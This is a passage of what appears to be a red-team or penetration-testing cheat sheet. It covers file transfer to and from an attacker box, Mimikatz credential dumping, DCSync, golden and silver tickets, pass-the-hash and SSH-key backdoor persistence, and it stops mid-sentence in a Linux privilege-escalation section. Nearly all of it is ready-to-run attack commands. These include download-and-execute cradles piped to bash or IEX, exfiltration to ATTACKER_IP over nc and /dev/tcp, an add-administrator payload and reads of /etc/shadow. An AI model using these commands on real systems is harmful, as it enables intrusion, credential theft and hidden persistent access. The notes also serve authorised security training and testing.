### === WEB === # Download (FILE) wget -O <OUTPUT_FILE> <URL> curl -skLo <OUTPUT_FILE> <URL> # Download & Execute (FILELESS) wget -qO- <URL> | python3 curl <URL> | bash # Create socket # Bash v2.04+ (compiled w/ --enable-net-redirections exec 3<>/dev/tcp/<TARGET>/<PORT> # Send data and read data from socket echo -e "GET / HTTP/1.1\n\n">&3 ; cat <&3 # Python (FILE) python2.7 -c 'import urllib;urllib.urlretrieve ("<URL>", "<OUTPUT_FILE>")' python3 -c 'import urllib.request;urllib.request.urlretrieve("<URL>", "<OUTPUT_FILE>")' # PHP (FILE) php -r '$file = file_get_contents("<URL>"); file_put_contents("<OUTPUT_FILE>",$file);' php -r 'const BUFFER = 1024; $fremote = fopen("<URL>", "rb"); $flocal = fopen("<OUTPUT_FILE>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);' # PHP (FILELESS) php -r '$lines = @file("<URL>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash # Ruby ruby -e 'require "net/http"; File.write("<OUTPUT_FILE>", Net::HTTP.get(URI.parse("<URL>")))' # Perl perl -e 'use LWP::Simple; getstore("<URL>", "<OUTPUT_FILE>");' # --- WEB Encrypted --- openssl req -newkey rsa:2048 -x509 -nodes -sha256 -subj '/CN=backup' -out server.pem -keyout key.pem # Host file for download openssl s_server -quiet -accept <LISTEN_PORT> -cert server.pem -key key.pem < <UPLOAD_FILE> # Download file openssl s_client -quiet -connect <TARGET>:<PORT> > <DOWNLOAD_FILE> ### === SSH === # ATTACKER BOX: create dummy low priv user sudo systemctl enable --now ssh sudo useradd backup -m -d /home/backup -s /usr/sbin/nologin sudo bash -c 'echo "backup:987!BackupUser!123" | chpasswd' # TARGET scp backup@<ATTACKER_IP>:<DOWNLOAD_FILE> <OUTPUT_FILE> ### === BINARY === # to/receive file nc -lvnp <PORT> > <OUTPUT_FILE> ncat --recv-only -lp <PORT> > <OUTPUT_FILE> # from/send file nc -q0 <TARGET> <PORT> < <UPLOAD_FILE> ncat --send-only <TARGET> <PORT> < <UPLOAD_FILE> cat <UPLOAD_FILE> > /dev/tcp/<TARGET>/<PORT> ### === COPY&PASTA === # ATTACKER BOX: ENCODE f="<FILE>" ; cat "$f" | base64 -w0 ; echo ; md5sum "$f" # TARGET: DECODE echo -n "<BASE64>" | base64 -d > <DECODED_FILE> ; md5sum <DECODED_FILE>β¬οΈ Linux => Upload
### === WEB === # --- Python3 uploadserver --- pip3 install --break-system-packages uploadserver # ATTACKER BOX openssl req -newkey rsa:2048 -x509 -nodes -sha256 -subj '/CN=backup' -out server.pem -keyout server.pem mkdir https && cd https sudo python3 -m uploadserver 443 --server-certificate ~/server.pem # TARGET curl --insecure -X POST https://<ATTACKER_IP>/upload -F 'files=@<UPLOAD_FILE>' -F 'files=@<UPLOAD_FILE>' python3 -c 'import requests;requests.post("https://<ATTACKER_IP>/upload",files={"files":open("<UPLOAD_FILE>","rb")}, verify=False)' # --- ngninx --- sudo mkdir -p /var/www/uploads/<UP_DIR> sudo chown -R www-data:www-data /var/www/uploads/<UP_DIR> echo 'server { listen <LISTEN_PORT>; location /<UP_DIR>/ { root /var/www/uploads; dav_methods PUT; } }' | sudo tee /etc/nginx/sites-available/upload.conf sudo ln -fs /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/ # Needed to stop listening on port 80 sudo rm /etc/nginx/sites-enabled/default sudo systemctl start nginx.service # Upload file curl --upload-file <UPLOAD_FILE> http://<TARGET>:<LISTEN_PORT>/<UP_DIR>/<UPLOAD_FILE> ### === SERVER on TARGET === # TARGET python3 -m http.server <PORT> python2.7 -m SimpleHTTPServer <PORT> php -S 0.0.0.0:<PORT> ruby -run -e httpd . -p <PORT> # ATTACKER BOX wget http://<TARGET>:<PORT> ### === SSH === # ATTACKER BOX scp backup@<ATTACKER_IP>:<DOWNLOAD_FILE> <TARGET_LOCATION> ### === BINARY === # to/receive file nc -lvnp <PORT> > <OUTPUT_FILE> ncat --recv-only -lp <PORT> > <OUTPUT_FILE> # from/send file nc -q0 <ATTACKER_IP> <PORT> < <DOWNLOAD_FILE> ncat --send-only <ATTACKER_IP> <PORT> < <DOWNLOAD_FILE> cat <DOWNLOAD_FILE> > /dev/tcp/<ATTACKER_IP>/<PORT>β¬οΈ Windows => Upload
### === WEB === # --- UPLOAD Server --- pip3 install --break-system-packages uploadserver python3 -m uploadserver # https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1 Invoke-RestMethod -Uri http://<ATTACKER_IP>:8000/upload -Method POST -Form (New-Object -TypeName System.Collections.Hashtable -Property @{file = Get-Item <UPLOAD_FILE>}) # --- UPLOAD Server --- # b64 decode from here nc -lvnp <PORT> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte)) Invoke-WebRequest -Method POST -Uri http://<ATTACKER_IP>:<PORT>/ -Body $b64 ### === SMB === # https://github.com/fortra/impacket/blob/master/examples/smbserver.py impacket-smbserver -smb2support -username <USERNAME> -password <PASSWORD> <SHARE_NAME> <SHARE_PATH> ### === WEBDAV (HTTP) === # https://github.com/mar10/wsgidav sudo pip3 install --break-system-packages wsgidav cheroot sudo wsgidav --host=0.0.0.0 --port=<PORT> --root=<DIRECTORY> --auth=anonymous # UPLOAD Invoke-RestMethod -Uri "http://<ATTACKER_IP>/<SHARE_NAME>/<FILENAME>" -Method POST -Form @{file = Get-Item "<LOCAL_FILE_PATH>"} ### === FTP === sudo pip3 install --break-system-packages pyftpdlib sudo python3 -m pyftpdlib --write --port <SERVER_PORT> (New-Object Net.WebClient).UploadFile('ftp://<ATTACKER_IP>/<SAVENAME>', '<UPLOAD_FILE>') # Upload (NON-INTERACTIVELY) echo open <ATTACKER_IP> > ftpconfig.txt echo USER anonymous >> ftpconfig.txt echo binary >> ftpconfig.txt echo PUT <FILE> >> ftpconfig.txt echo bye >> ftpconfig.txt ftp -v -n -s:ftpconfig.txt ### === WinRM === # TCP/5985 or 5986 # Windows Remote Management service # user in "Administrators" or "Remote Management Users" $Session = New-PSSession -ComputerName <TARGET> Copy-Item -ToSession $Session -Path <UPLOAD_FILE> -Destination <OUTPUT_FILE> ### === COPY&PASTA === # ENCODE: Windows $f="<UPLOAD_FILE>" ; [Convert]::ToBase64String((Get-Content -path $f -Encoding byte)) ; Get-FileHash $f -Algorithm MD5 | select Hash # DECODE: Linux echo -n "<BASE64>" | base64 -d > <DECODED_FILE>.decode ; md5sum *.decodeβ¬οΈ Windows <= Download
- Download cradle: https://gist.github.com/HarmJ0y/bb48307ffa663256e239
### === WEB === # HTTP port 80 sudo python3 -m http.server 80 # HTTPS port 443 openssl req -new -x509 -keyout https_server_cert.pem -out https_server_cert.pem -days 365 -nodes sudo python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='https_server_cert.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()" # Download (FILE) (New-Object Net.WebClient).DownloadFile('<DOWNLOAD_URL>','<OUTPUT_FILE>') (New-Object Net.WebClient).DownloadFileAsync('<DOWNLOAD_URL>','<OUTPUT_FILE>') # Set User-Agent string $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome # Web Request Invoke-WebRequest <DOWNLOAD_URL> -UserAgent $UserAgent -OutFile '<OUTPUT_FILE>' Invoke-RestMethod <DOWNLOAD_URL> -UserAgent $UserAgent -OutFile '<OUTPUT_FILE>' # Allow untrusted certs and initialize first-time IE [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} Invoke-WebRequest -UseBasicParsing <DOWNLOAD_URL> -OutFile <OUTPUT_FILE> # Download & Execute (FILELESS) IEX (New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>') (New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>') | IEX # https://lolbas-project.github.io/lolbas/Binaries/Certutil/#download certutil -URLcache -split -f http://<ATTACKER>/<FILE> C:\Users\public\<FILE> # https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/#download bitsadmin.exe /transfer /Download /priority Foreground http://<ATTACKER>/<FILE> C:\Users\public\<FILE> # JavaScript wget.js # https://superuser.com/a/536400 var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1; BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile(WScript.Arguments(1)); # Execute like so: cscript.exe /nologo wget.js <URL> <OUTPUT_FILE> # VBScript wget.vbs # https://stackoverflow.com/a/2973344 dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", WScript.Arguments.Item(0), False xHttp.Send with bStrm .type = 1 .open .write xHttp.responseBody .savetofile WScript.Arguments.Item(1), 2 end with # Execute like so: cscript.exe /nologo wget.vbs <URL> <OUTPUT_FILE> ### === SMB === # https://github.com/fortra/impacket/blob/master/examples/smbserver.py impacket-smbserver -smb2support -username <USERNAME> -password <PASSWORD> <SHARE_NAME> <SHARE_PATH> # WITHOUT password copy \\<ATTACKER_IP\<SHARE_NAME>\<FILE> # WITH password net use <DRIVE_LETTER> \\<ATTACKER_IP\<SHARE_NAME>\ /user:<USER> <PASSWORD> copy <DRIVE_LETTER>\<FILE> # https://lolbas-project.github.io/lolbas/Binaries/Findstr/#download findstr /V thisstringdoesnotexist \\<ATTACKER>\<SHARE>\<FILE> > C:\Users\<USER>\AppData\Local\Temp\<FILE> ### === FTP === sudo pip3 install --break-system-packages pyftpdlib sudo python3 -m pyftpdlib --port <SERVER_PORT> # Download (FILE) (New-Object Net.WebClient).DownloadFile('<DOWNLOAD_URL>','<OUTPUT_FILE>') # Download (NON-INTERACTIVELY) echo open <ATTACKER_IP> > ftpconfig.txt echo USER anonymous >> ftpconfig.txt echo binary >> ftpconfig.txt echo GET <FILE> >> ftpconfig.txt echo bye >> ftpconfig.txt ftp -v -n -s:ftpconfig.txt ### === WinRM === # TCP/5985 or 5986 # Windows Remote Management service # user in "Administrators" or "Remote Management Users" $Session = New-PSSession -ComputerName <TARGET> Copy-Item -FromSession $Session -Path <DOWNLOAD_FILE> -Destination <OUTPUT_FILE> ### === COPY&PASTA === # ENCODE: Windows $f="<FILE>" ; [Convert]::ToBase64String((Get-Content -path $f -Encoding byte)) ; Get-FileHash $f -Algorithm MD5 | select Hash # https://lolbas-project.github.io/lolbas/Binaries/Certutil/#encode certutil -encode <FILE> <ENCODED_FILE> # DECODE: Linux echo "<BASE64>" | base64 -d > <DECODED_FILE>.decode ; md5sum *.decodeMimikatz
See more about… Mimikatz
Source: Docs > 9 - Notes > mimikatz
Mimikatz is a post-exploitation tool that can extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket, and build Golden Tickets.
TL;DR Credential Dumping Checklist
privilege::debug token::elevate sekurlsa::logonpasswords sekurlsa::wdigest sekurlsa::ekeys lsadump::sam lsadump::secrets lsadump::cache lsadump::lsa /patchImportant Notes
- Debug Privilege: Most Mimikatz operations require
privilege::debugto access LSASS memory - Administrator Required: Mimikatz typically needs administrator privileges to function
- LSASS Access: Many operations read from LSASS memory, which is protected by Windows
- Detection: Mimikatz is heavily flagged by security products and EDR solutions
- Pass the Hash: When using
sekurlsa::pth, a new window will open - run commands in that new window - Golden Tickets: Golden Tickets are valid until the KRBTGT account password is changed (typically 180 days by default)
- Ticket Files: Exported Kerberos tickets use
.kirbiformat - Domain Syntax: Use “.” for domain when targeting local machine accounts
Basic Usage & Privilege Escalation
# Launch Mimikatz (via SMB share) \\tsclient\share\mimikatz.exe # Enable debug privilege (required for most operations) privilege::debug # Elevate token to SYSTEM token::elevate # Write to console in bae64 (avoid AV flagging) base64 /out:true # Write output to a logfile (flagged by AV!) log <LOGFILE>.txtCredential Dumping
LSASS Memory (sekurlsa)
Dump All Credentials:
# VERBOSE: Dumps credentials from all providers (Kerberos, WDigest, MSV, etc.) sekurlsa::logonpasswordsDump WDigest Plaintext Credentials:
# Plaintext creds if WDigest is enabled (older systems or manually enabled) sekurlsa::wdigestDump Specific Hash Types:
# Dumps only LM/NTLM hashes sekurlsa::msvExport Kerberos Tickets:
# Avoid AV flagging base64 /out:true # Export Kerberos Tickets (TGT/TGS) to disk sekurlsa::tickets /export # $ : machine tickets (computers) # @ : service tickets (users)Extract AES Keys:
# Extract AES Keys for Pass the Key attacks sekurlsa::ekeysSAM Database
# Dumps local SAM database (local user hashes) lsadump::samLSA Secrets
# Patches LSASS to dump LSA policy data/hashes lsadump::lsa /patch# Dumps LSA secrets from registry (autologon, service account passwords, etc.) lsadump::secrets# Dumps cached domain logon hashes (DCC2) lsadump::cacheDump Specific Account:
# Dump specific account (e.g., KRBTGT for Golden Ticket) lsadump::lsa /inject /name:krbtgtDCSync
Might require
runas.# Specific user lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER> # For KRBTGT lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgt # All users # WARNING: takes a long time... write output to a file! log dc_sync.txt lsadump::dcsync /domain:<DOMAIN> /allPass the Hash (PtH)
Pass the Hash allows you to authenticate using an NTLM hash instead of a plaintext password.
# Use "." for domain if targeting local machine # IMPORTANT: Run commands inside the NEW window that pops up sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exeAlternative Syntax:
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /ntlm:<HASH> /run:cmd.exePass the Key (PtK) / OverPass the Hash (OtH)
Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.
Extract AES Keys First:
sekurlsa::ekeysPass the Key with AES:
# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed. # Can use /ntlm, /aes128, or /aes256 sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exePass the Ticket (PtT)
Pass the Ticket allows you to use stolen Kerberos tickets to authenticate as another user.
Export Tickets:
# Export tickets from memory to .kirbi files sekurlsa::tickets /exportInject Ticket:
# Inject ticket into current session kerberos::ptt <TICKET_FILE.kirbi> misc::cmd exitGolden & Silver Ticket Attack
A Golden Ticket is a forged Kerberos TGT that allows you to impersonate any user in the domain, including domain administrators.
A Silver Ticket is a forged Kerberos TGS that allows you to impersonate any user on a single machine.
Step 1: Get KRBTGT Hash & SID
Method A (On DC):
lsadump::lsa /inject /name:krbtgtMethod B (Remote DCSync):
lsadump::dcsync /domain:<DOMAIN> /user:krbtgtStep 2: Create & Inject Ticket
/ptt- This flag tells Mimikatz to inject the ticket directly into the session, meaning it is ready to be used./endin- The ticket lifetime. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 10 hours (600 minutes)/renewmax- The maximum ticket lifetime with renewal. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 7 days (10080 minutes)/user: can use any value including non-existent users
# GOLDEN TICKET kerberos::golden /ptt /id:500 /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<NTLM> # SILVER TICKET kerberos::golden /ptt /id:500 /user:Administrator /domain:<DOMAIN> /sid:<SID> /service:cifs /target:<MACHINE_FQDN> /rc4:<MACHINE_HASH>Step 3: Launch Shell
# OPTIONAL: Launch shell or exit and use the current shell since /ptt was used misc::cmd # this only works via RDP exit # Verify ticket is working by reading DC share dir \\<DC_FQDN>\c$\Credential Manager
Dump credentials stored in Windows Credential Manager:
sekurlsa::credmanDPAPI (Data Protection API)
Decrypt data protected by Windows DPAPI, such as browser credentials:
dpapi::chrome /in:"C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotectNice Commands
These will be a grab-bag of command workarounds usually for restricted systems that lack certain functionality.
Linux
# Pull out IP addresses (IPv4, IPv6, MAC) from text file grep -hoE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b|\b([0-9a-fA-F]{1,4}:){3,}[0-9a-fA-F]{1,4}\b|\b[0-9a-fA-F]{0,4}::[0-9a-fA-F]{0,4}\b" * | sort -u # Unzip w/ Python3 python3 -c 'import zipfile, sys; zip_ref = zipfile.ZipFile(sys.argv[1], "r"); zip_ref.extractall("."); zip_ref.close()' <ZIPFILE> # Unzip w/ Perl perl -e 'use Archive::Zip; my $zip = Archive::Zip->new(shift); $zip->extractTree();' <ZIPFILE> # strings replacement f="<FILE>" ; cat $f | tr -c '[:print:]\t\n' '[\n*]' | awk 'length > 3' | less # string replacement f="<FILE>" ; sed 's/[^[:print:]]/\n/g' $f | awk 'length > 3' | less --- # Map drive sudo apt install -y cifs-utils sudo mkdir /mnt/<SHARE> sudo mount -t cifs -o username=<USERNAME>,password=<PASSWORD>,domain=. //<TARGET>/<SHARE> /mnt/<SHARE> sudo mount -t cifs -o credentials=credentialfile //<TARGET>/<SHARE> /mnt/<SHARE> # credentialfile username=<USERNAME> password=<PASSWORD> domain=. # Search filenames find <PATH> -name *<KEYWORD>* # Search keyword in files grep -rn <PATH> -ie <KEYWORD>Convert old SSH Key format RSA->OPENSSH
for key in *id_rsa; do ssh-keygen -p -f "$key" -N "" -o ; doneWindows
# Get PS Version $PSversiontable --- # Processes or Task List tasklist /V | findstr <KEYWORD> # Current User Info whoami;hostname whoami /priv # Show current user's privileges whoami /groups # Show current user's group memberships # List Users & Groups net user # List all local users net localgroup # List all local groups net localgroup | findstr admin net localgroup "<GROUP>" net localgroup administrators # List members of the Administrators group # Password & Account Policy net accounts # (Local policy) net accounts /domain # (Domain policy) # Shares net share # Shares by current computer net use # External connected shares Get-SmbMapping # Same but in PowerShell Get-PSDrive -PSProvider FileSystem # Map drive net use <DRIVE>: \\<TARGET>\<SHARE> net use <DRIVE>: \\<TARGET>\<SHARE> /user:<USER> <PASSWORD> # Map drive New-PSDrive -PSProvider "FileSystem" -Name "<DRIVE>" -Root "\\<TARGET>\<SHARE>" $secpassword = ConvertTo-SecureString -AsPlainText -Force '<PASSWORD>' $cred = New-Object System.Management.Automation.PSCredential '<USERNAME>', $secpassword New-PSDrive -PSProvider "FileSystem" -Credential $cred -Name "<DRIVE>" -Root "\\<TARGET>\<SHARE>" # Search filenames dir /s /b <DRIVE>:\*<KEYWORD>* Get-ChildItem -Recurse -File -Path <DRIVE>:\ -Include *<KEYWORD>* # Search keyword in files findstr /s /i <KEYWORD> <DRIVE>:\*.* Get-ChildItem -Recurse -Path <DRIVE>:\ | Select-String -Pattern "<KEYWORD>"Change User Password
via
rpcclientwithForceChangePasswordpermThis will only work without the user’s old password if the authenticating user has the
ForceChangePasswordpermission at the domain level (or obviously if the user is a Domain Administrator):rpcclient -U '<DOMAIN/<USER>%<PASSWORD>' <DC_IP> -c "setuserinfo2 <USER_TO_CHANGE> 23 '<NEW_PASSWORD>'"via PowerView
- https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainUserPassword/
- https://powersploit.readthedocs.io/en/latest/Recon/Add-DomainGroupMember/
Import PowerView:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process Import-Module .\PowerView.ps1If needed, authenticated as privileged user first:
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)Then, create and set NEW password of other account:
$newPassword = ConvertTo-SecureString '<NEW_PASSWORD>' -AsPlainText -Force Set-DomainUserPassword -Identity <USER> -AccountPassword $newPassword -Credential $Cred -VerboseAnd alternatively add more permissions to that user:
# Get Group SID # $group = (Get-DomainGroup "<GROUP>" -Server <DC_IP> -Credential $Cred).objectsid # Add User to Group Add-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Domain <DOMAIN> -Credential $Cred -Verbose # Remove User from Group Remove-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Domain <DOMAIN> -Credential $Cred -Verbose # Verify Group Membership or Removal Get-DomainGroupMember -Identity "<GROUP>" -Server <DC_IP> -Credential $Cred | Select MemberNamePass the Hash (PtH)
Preparation (Local Accounts)
# Enable Registry Key to PtH for non-RID-500 local admins reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /fMimikatz (Interactive)
# Use "." for domain if targeting local machine # IMPORTANT: Run commands inside the NEW window that pops up mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exitInvoke-TheHash (PowerShell)
Import-Module .\Invoke-TheHash.psd1 # SMB w/ add Admin user payload Invoke-SMBExec -Target <TARGET> -Domain <DOMAIN> -Username <USER> -Hash <PASS_HASH> -Command "net user <NEW_USER> <NEW_PASS> /add && net localgroup administrators <NEW_USER> /add" -Verbose # WMI w/ PowerShell reverse shell payload Invoke-WMIExec -Target <TARGET> -Domain <DOMAIN> -Username <USER> -Hash <PASS_HASH> -Command "<REV_SHELL_POWERSHELL_PAYLOAD>"Impacket (Python)
psexeccreates a remote service by uploading a randomly-named executable to the ADMIN$ share on the target host. It then registers the service via RPC and the Windows Service Control Manager. Once established, communication happens over a named pipe, providing an interactive remote shell as SYSTEM on the victim host.wmiexecutilizes a semi-interactive shell where commands are executed through Windows Management Instrumentation. It does not drop any files or executables on the target host and generates fewer logs than other modules. After connecting, it runs as the local admin user we connected with (this can be less obvious to someone hunting for an intrusion than seeing SYSTEM executing many commands). Note that this shell environment is not fully interactive, so each command issued will execute a new cmd.exe from WMI and execute your command. The downside of this is that if a vigilant defender checks event logs and looks at event ID 4688: A new process has been created.# NOTE: Use forward slash for domain syntax to avoid shell escaping # :<PASS_HASH> implies empty LM hash (LM:NT) impacket-psexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH> impacket-wmiexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH> impacket-atexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH> impacket-smbexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>NetExec (Enumeration/Spraying)
# Target can also be a subnet (CIDR) # -d . = Local Account | -d <DOMAIN> = Domain Account # --local-auth forces local check if implied domain fails netexec smb <TARGET> -u <USER> -d . -H <PASS_HASH> --local-authEvil-WinRM (WinRM Shell)
# Most reliable shell if ports 5985/5986 are open evil-winrm -i <TARGET> -u <USER> -H <PASS_HASH>RDP (Restricted Admin Mode)
#Enable Restricted Admin on Target (Requires Admin rights) reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f # Now RDP with Hash xfreerdp3 /v:<TARGET> /u:<USER> /pth:<PASS_HASH> /cert:ignore +clipboard /dynamic-resolution /drive:/usr/share/windows-resources/mimikatz/x64,sharePersistence
via SSH
# ATTACKER ssh-keygen -f ./target_backdoor_key -N "" -C "service@localhost" && echo "\n\necho '$(cat ./target_backdoor_key.pub)' >> ~/.ssh/authorized_keys\n\n" # TARGET: !!! RUN COMMAND OUTPUT ABOVE !!! # ATTACKER ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i ./target_backdoor_key <USER>@<TARGET>via Windows local user (SYSTEM)
# Create local user and add to local Administrators group net user svc_backup P@ssw0rd123! /add net localgroup Administrators svc_backup /add net user svc_backupPrivilege Escalation (PrivEsc)
NOTE: scripts are noisy for any sort of monitoring software, so manual checks may be preferred
Key Details
Versions of:
- OS
- Kernel
- Services
- Installed packages
- Logged-in users
- User Directories
- Command/Shell History
- Configuration Files
- Scheduled Jobs
- Extra File Systems/Drives
- File Permissions
- Writeable Files and Directories
π§ Linux
- https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html
- https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/
- https://github.com/peass-ng/PEASS-ng/blob/master/linPEAS/README.md
- https://gtfobins.github.io/
+file download+file upload
linPEAS
# === ATTACKER === wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh ip a ; python3 -m http.server 8000 # === TARGET === cd /tmp wget http://<ATTACKER_IP>:8000/linpeas.sh && chmod +x linpeas.sh REGEXES="0" ./linpeas.sh 2>&1 | tee linpeas_output.txt # === ATTACKER === scp <USER>@<TARGET>:/tmp/linpeas_output.txt ~/ # NC nc -l -p <PORT> > ~/linpeas_output.txt cat /tmp/linpeas_output.txt | nc <ATTACKER_IP> <PORT> # wait a moment, then CTRL+CManual Survey
whoami ; id ; hostname ; ip a || ifconfig -a uname -a ; cat /etc/*release* arp -an ip r || netstat -rn netstat -tun # For domains cat /etc/resolv.conf /etc/hosts netstat -tuanlp || ss -tuanlp # Check non-standard paths or variables echo $PATH env cat /etc/shells lsblk cat /etc/fstab df -h # Unmounted filesystems cat /etc/fstab | grep -v "#" | column -t # Debian-based systems dpkg -l ps -ef pstree # Interesting commands for p in /proc/[0-9]*; do cmd=$(tr '\0' ' ' < "$p/cmdline" 2>/dev/null); [ -n "$cmd" ] && echo "[PID: ${p##*/}] $cmd"; done # Users only cat /etc/passwd | cut -f1 -d: # Users with shell access cat /etc/passwd | grep sh # Groups cat /etc/group # Active or recent users w ; lastlog === # LOOKING FOR PRIV ESCs === # GTFObins Priv Esc check apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list for i in $(curl -s https://gtfobins.org/api.json | jq -r '.executables | keys[]'); do if grep -q "$i" installed_pkgs.list; then echo "Check for GTFO: $i";fi; done ls -la /etc/crontab /var/spool/cron/crontabs/root /etc/cron.* ls -la / /home/ /home/*/.ssh/ /root/.ssh/ # Conf files find / \( -path "/proc" -o -path "/usr" -o -path "/lib" \) -prune -o \( -iname "*.conf" -o -iname "*.config" \) -exec ls -la {} + 2>/dev/null # Search for all files that contain keyword in name find / \( -path "/proc" -o -path "/usr" -o -path "/lib" \) -prune -o -type f -iname "<KEYWORD>" -exec ls -la {} + 2>/dev/null # Creds Search grep -Hran --color=always --exclude-dir={bin,boot,dev,lib,lib64,proc,sys,sbin,snap,sys,run,usr} 'user\|passw' / 2>/dev/null | less -R # History history find / -type f \( -name '*_hist' -o -name '*_history' \) -exec ls -l {} \; 2>/dev/null # Search for interesting scripts find / -type f -name '*.sh' 2>/dev/null | grep -v "src\|snap\|share" find / -name '*.sh' 2>/dev/null # Hidden folders and files # NOTE: usually best to grep for a user or something to reduce results find / -type d -name ".*" -ls 2>/dev/null find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep WORD # Temp folders ls -la /tmp /var/tmp /dev/shm # Writeable Files find / \( -path /proc -o -path /sys -o -path /var \) -prune -o -type f -perm -o+w 2>/dev/null # Writeable directories find / \( -path /proc -o -path /sys -o -path /var \) -prune -o -type d -perm -o+w 2>/dev/null # SETUID Files (user executes program as owner user) find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null # SETGID Files (user groups executes program as owner group) find / -user root -perm -2000 -exec ls -ldb {} \; 2>/dev/null # World-writeable files find / -type f -perm -00002 -ls 2>/dev/null # Users with shells grep "sh$" /etc/passwd cat /etc/group # Users in "sudo" group getent group sudo # Rarely hashes in passwd or readable shadow cat /etc/passwd /etc/shadow # Summarized reports of logs aureport --tty | less # CTF Special sudo -V # Check version exploits sudo -l # Look for NOPASSWDFile Permissions
Standard Permission Bits
Permission Octal Symbol Meaning on File Meaning on Directory Read 4rCan read file contents ( cat).Can list contents ( ls).Write 2wCan modify file contents. Can add/delete files inside. Execute 1xCan run the file as a process. Can enter the directory ( cd).Special Permission Bits
Special Bit Octal Symbol Location Offensive Value (PrivEsc / Persistence) SUID (Set-User-ID) 4000s/SOwner ( -rwS------)High: Process runs with the privileges of the file Owner (usually root), regardless of who launched it. SGID (Set-Group-ID) 2000s/SGroup ( ----rws---)Medium: Process runs with privileges of the file Group. Used for lateral movement (e.g., accessing admorshadowgroup files).Sticky Bit 1000t/TOther ( -------rwt)None: Prevents users from deleting other users’ files in shared directories (like /tmp).NOTE:
The Lowercase
svs. UppercaseS- Lowercase
s(Active): The SUID bit is set AND the underlying execute (x) bit is set. The file will execute properly. - Uppercase
S(Broken): The SUID bit is set, BUT the underlying execute (x) bit is missing. The file cannot be executed. The admin made a mistake.
The Linux Kernel natively ignores SUID/SGID bits on interpreted scripts (
.sh,.py,.pl).- If you find
-rwsr-xr-x root root backup.sh, running./backup.shwill execute as YOUR user, not root. - The Exception: SUID only works automatically on Compiled ELF Binaries (C, C++, Go, Rust).
Groups
Certain groups for a user’s
idoutput could give greater access:disk: can mount any disk withdebugfsto read the file systemadm: reads logs in/var/log/docker: priv esclxd/lxc: can mount filesystems in LXC containersshadow: allows read access of password hashesstaff: grants perms to/usr/local/bin/and/usr/local/sbin/wireshark/pcap: capture network traffic (creds sniffing)video: can screenshot user’s desktopwheel: Red Hat/CentOS equivalent tosudo
Capabilities
The following especially can lead to
